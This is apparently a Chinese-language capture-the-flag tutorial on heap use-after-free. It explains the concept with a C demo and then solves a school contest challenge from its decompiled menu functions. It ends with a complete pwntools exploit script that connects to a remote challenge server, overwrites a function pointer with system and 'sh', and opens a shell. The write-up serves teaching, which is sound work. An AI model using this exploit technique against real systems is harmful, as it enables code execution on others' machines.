TNND 说真的 堆开始的pwn就真的难度递增 网上的资料又少 又难理解 所以从UAF开始的各种堆利用手法 我都会倾尽自己全部的修辞能力和解释能力 尽可能让你理解的简单容易 因为我自己学的时候实在是太坐牢了
UAF原理
先搞懂这个到底是什么意思吧 uaf 全程 use after free 很好理解的吧
就是当我们把一个chunk释放之后 再利用他
怎么做到这一点?
#include <stdio.h> #include <cstdlib> #include <string.h> int main() { char *p1; p1 = (char *) malloc(sizeof(char)*10);//申请内存空间 memcpy(p1,"hello",10); printf("p1 addr:%x,%s\n",p1,p1); free(p1);//释放内存空间 char *p2; p2 = (char *)malloc(sizeof(char)*10);//二次申请内存空间,与第一次大小相同,申请到了同一块内存 memcpy(p1,"world",10);//对内存进行修改 printf("p2 addr:%x,%s\n",p2,p1);//验证 return 0; }
|
放一段代码 应该很好看懂吧
先申请一个chunk 然后打印出指向这个chunk的指针的值
再释放这个chunk 接着再申请一个
最后再打印出新申请的chunk的指针的值
我们会发现这二者都是一样的值
说明什么?
如果只是单纯的free chunk的话 没有去清空指向被free的这个chunk的指针 那么这个指针仍然可以指向这个free chunk
概念介绍到这边 应该就可以大部分理解了 如果你需要更加详细的介绍 可以看下面这篇文章
(3条消息) UAF (Use After Free)漏洞分析及利用_4ct10n的博客-CSDN博客_uaf
真题复现1
说真的 光uaf的题型就有好多种出法 想了想 还是拿nisa 21届校赛的题来当第一道例题 这道题的引导性个人认为十分不错 同时讲解起来也方便理解
checksec看一下保护机制和位数 发现是32位的 那么接下来的一些数据就得注意了
拖到ida里面看看main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3[4];
v3[1] = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); while ( 1 ) { while ( 1 ) { puts("1.create"); puts("2.edit"); puts("3.delete"); puts("4.show"); putchar(58); __isoc99_scanf("%d", v3); if ( v3[0] != 2 ) break; edit(); } if ( v3[0] > 2 ) { if ( v3[0] == 3 ) { del(); } else if ( v3[0] == 4 ) { show(); } else { LABEL_13: puts("Invalid choice"); } } else { if ( v3[0] != 1 ) goto LABEL_13; create(); } } }
|
int create() { int result; int v1; char *v2;
printf("you are creating the %d page\n", i); result = i; if ( i >= 0 ) { result = i; if ( i <= 9 ) { v1 = i; (&page)[v1] = malloc(8u); if ( i ) { if ( i <= 0 || i > 9 ) { result = puts("NO PAGE"); } else { puts("Good cretation!"); result = ++i; } } else { v2 = page; *page = 1868654951; v2[4] = 0; *(page + 1) = echo; puts("The init page"); result = ++i; } } } return result; }
|
unsigned int edit() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 <= 0 || v1 > i ) { puts("NO PAGE"); } else { puts("Input your strings"); __isoc99_scanf("%s", (&page)[v1]); } return __readgsdword(0x14u) ^ v2; }
|
unsigned int del() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 < 0 || v1 > i ) puts("NO PAGE"); else free((&page)[v1]); return __readgsdword(0x14u) ^ v2; }
|
unsigned int show() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 ) { if ( v1 <= 0 || v1 > i ) puts("NO PAGE"); else echo((&page)[v1]); } else { (*(page + 1))(page); } return __readgsdword(0x14u) ^ v2; }
|
看蒙蔽了是不是 没关系 接下来 我们将花费足够的时间以及耐心来为你分析透彻这些代码
目光聚集到main函数
堆的经典菜单题 看懂不成问题吧 输入对应的数字跳转进对应的函数
按照顺序我们先看create函数
第一遍我们先粗略的遍历一遍这个函数的作用
有一点小不同 其他题目可能还需要我们输入index来创建一个chunk 但是这题是用++i的办法来自己设置index
可以看到创建的chunk大小固定为0x8
接着看第二个箭头指向的代码
*()就是指这个地址的内容
假设哈 假设page = 0x1000
你可能以为page+1的结果会是0x1001
其实不是 这里的1是指一个字长 也就是说结果其实是0x1004
那么这段代码的意思也就是说
page地址的下一个字长的内容更改为echo这个函数
然后我们点进去看一下这个函数是干什么的
int __cdecl echo(char *s) { return puts(s); }
|
puts 有点东西是不是 不过我们先放着 再看一下edit函数
这个函数内容不用说看名字也懂干什么的吧 就是输入你要编辑的index数 然后再输入要更改的内容
这里用到了scanf 这个函数没有限制输入字长 我们栈溢出的常客是不是
所以这里也能来个溢出? 对了 有这个想法 这题你能看到曙光了
我们再回想一下 上一个函数create 指针所指向的下一个字长处是不是一个echo函数
欸 是吧 替换addr来控制程序执行流我们再熟悉不过了
不过先别激动 还有一个函数没看呢(delete我也解释不来 你就知道他free了chunk但是没有清空指针的内容就行了)
看到那个if判定了吗 如果我们只设置一个chunk 那么我们想要show这个chunk还不行 因为index不能为0
所以我说这道题的引导性其实是很好的 他驱使你去进行uaf
所以我们的思路是什么
先创建一个page0的chunk 然后把他free了
接着创建一个page1的chunk 由于page0被释放后会被存入fast bin
此时申请的page1大小小于等于page0 所以page0就被重新分配给了page1
他们两个共享一个空间 指针指向的地址相同 这里就利用了uaf
那么我们之前看到的edit函数又该如何利用呢?再接着看show函数图上的第二个箭头
这句代码的作用是什么?
先执行指针所指向的地址的下一个字长的指令 接着用指针所指向的地址的内容当作先前执行的指令的参数
看到这里你就能懂了吧 所以当我们不对chunk内容进行任何溢出时 当我们仅仅只是输入小于一个字长的数据时
show函数就相当于调用了echo函数把chunk的内容puts了出来
所以此时我们的思路就立马清晰了
我们用edit函数修改chunk的内容为 “sh\x00\x00”
然后溢出到下一个字长 修改其内容为system的地址
这样当我们执行show函数的时候 其就会使用chunk内的sh当作system函数的参数
因此我们成功实现了系统调用
这里再解释一下为什么是 sh\x00\x00 因为是32位的程序嘛
一个字长只有4个字节 如果我们使用的是/bin/sh显然字节不够
所以使用sh也能达成对应的操作 至于后面的两个\x00 显然是为了填充字节 又不至于破坏sh字符串
所以最后我们的exp是:
from pwn import* io = remote("1.14.71.254",28340) def add(): io.recvuntil(":") io.sendline("1")
def edit(id,content): io.recvuntil(":") io.sendline("2") io.recvuntil("Input page\n") io.sendline(str(id)) io.recvuntil("Input your strings\n") io.sendline(content)
def delete(id): io.recvuntil(":") io.sendline("3") io.recvuntil("Input page\n") io.sendline(str(id))
def show(id): io.recvuntil(":") io.sendline("4") io.recvuntil("Input page\n") io.sendline(str(id))
io.recvuntil("4.show") add() delete(0) add() payload = b"sh\x00\x00" len(payload) payload +=p32(0x8048642) edit(1,payload) show(0) io.interactive()
|
ps:从堆开始 我们将会频繁使用python中的def 因为菜单题的重复接收输送实在是太多了
如果看不懂这样书写的语法 可以自行百度学习